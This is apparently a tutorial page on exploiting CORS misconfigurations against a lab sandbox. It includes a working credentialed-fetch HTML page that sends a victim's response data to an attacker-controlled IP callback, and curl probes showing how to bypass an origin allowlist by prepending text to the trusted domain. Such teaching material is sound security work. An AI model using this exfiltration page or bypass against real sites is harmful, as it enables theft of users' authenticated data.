CORS
Trusting Any Origin
For exploiting a CORS misconfiguration, we must first check if the SameSite
cookie flag is set (Figure 1).

SessionCookie
's set flags via the browser.The presence of Access-Control
headers indicates that the application supports CORS (Figure 2).

If we send the same request unauthenticated (without the Cookie
header), we get a 401 Unauthorized
response (Figure 3). Remember that a browser won't include credentials on a CORS request without the Access-Control-Allow-Credentials
header. Furthermore, a wildcard value for the Access-Control-Allow-Origin
header doesn't allow Access-Control-Allow-Credentials
to be true
.

When we add the Origin
header to the CORS request, the Access-Control-Allow-Credentials
response header is added (Figure 4).

Origin
header.We can try to reach the above endpoint from an external domain (Figure 5). Notice that this is a CORS request (mode: 'cors'
) including credentials (credentials: 'include'
).
<html>
<head>
<script>
var url = "https://cors-sandbox/code";
function get_code() {
fetch(url, {
method: 'GET',
mode: 'cors',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
console.log(data);
});
}
get_code();
</script>
</head>
<body></body>
</html>

Since JavaScript can access the response, we can update our page to send the code
to an arbitrary domain. The below request creates a CORS page to get the code on behalf of the victim and then sent it to an attacker-control server (Figure 6).
<html>
<head>
<script>
var url = "https://cors-sandbox/code";
function get_code() {
fetch(url, {
method: 'GET',
mode: 'cors',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
fetch('http://192.168.45.214/callback?' + encodeURIComponent(JSON.stringify(data)), {
mode: 'no-cors'
});
});
}
get_code();
</script>
</head>
<body></body>
</html>

code
to an arbitrary domain.Improper Domain Allowlist
The Access-Control-Allow-Origin
header can only set a single domain. When an application needs to support multiple-origin CORS, it must include server-side logic to respond with the appopriate value via inspecting the Origin
header to a CORS request. Two common appraches are to check if the Origin
header includes a preset value or ends with a preset value and then reflecting that header value. In the example below, the server responds with an Access-Control-Allow-Origin
header.
# preflight request
$ curl -X "OPTIONS" -i -k https://cors-sandbox/allowlist
HTTP/2 200
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: https://offensive-security.com
content-type: text/html; charset=utf-8
date: Fri, 09 Aug 2024 07:54:20 GMT
server: waitress
content-length: 0
Passing a different origin (different protocol and subdomain) via the Origin
header reflects it back to the response.
# including the Origin header
$ curl -X "OPTIONS" -i -k -H "Origin: http://www.offensive-security.com" https://cors-sandbox/allowlist
HTTP/2 200
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: http://www.offensive-security.com
content-type: text/html; charset=utf-8
date: Fri, 09 Aug 2024 07:56:43 GMT
server: waitress
content-length: 0
The server does not reflect the origin passed if we change its , but it responds with the default value. The same behavior happens when another domain is passed.
# modifiying the top level domain
$ curl -X "OPTIONS" -i -k -H "Origin: http://www.offensive-security.net" https://cors-sandbox/allowlist
HTTP/2 200
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: https://offensive-security.com
content-type: text/html; charset=utf-8
date: Fri, 09 Aug 2024 08:00:57 GMT
server: waitress
content-length: 0
# passing another domain
$ curl -X "OPTIONS" -i -k -H "Origin: http://malicious.com" https://cors-sandbox/allowlist
HTTP/2 200
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: https://offensive-security.com
content-type: text/html; charset=utf-8
date: Fri, 09 Aug 2024 08:03:35 GMT
server: waitress
content-length: 0
Based on this information, we can infer that the server is allowing domains that end with offensive-security.com
, perhaps to allow various subdomains. However, it is not checking for a leading period and this allow us to prepend something to the domain name and bypass CORS.
$ curl -X "OPTIONS" -i -k -H "Origin: http://www.maliciousoffensive-security.com" https://cors-sandbox/allowlist
HTTP/2 200
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: http://www.maliciousoffensive-security.com
content-type: text/html; charset=utf-8
date: Fri, 09 Aug 2024 08:03:21 GMT
server: waitress
content-length: 0
Last updated
Was this helpful?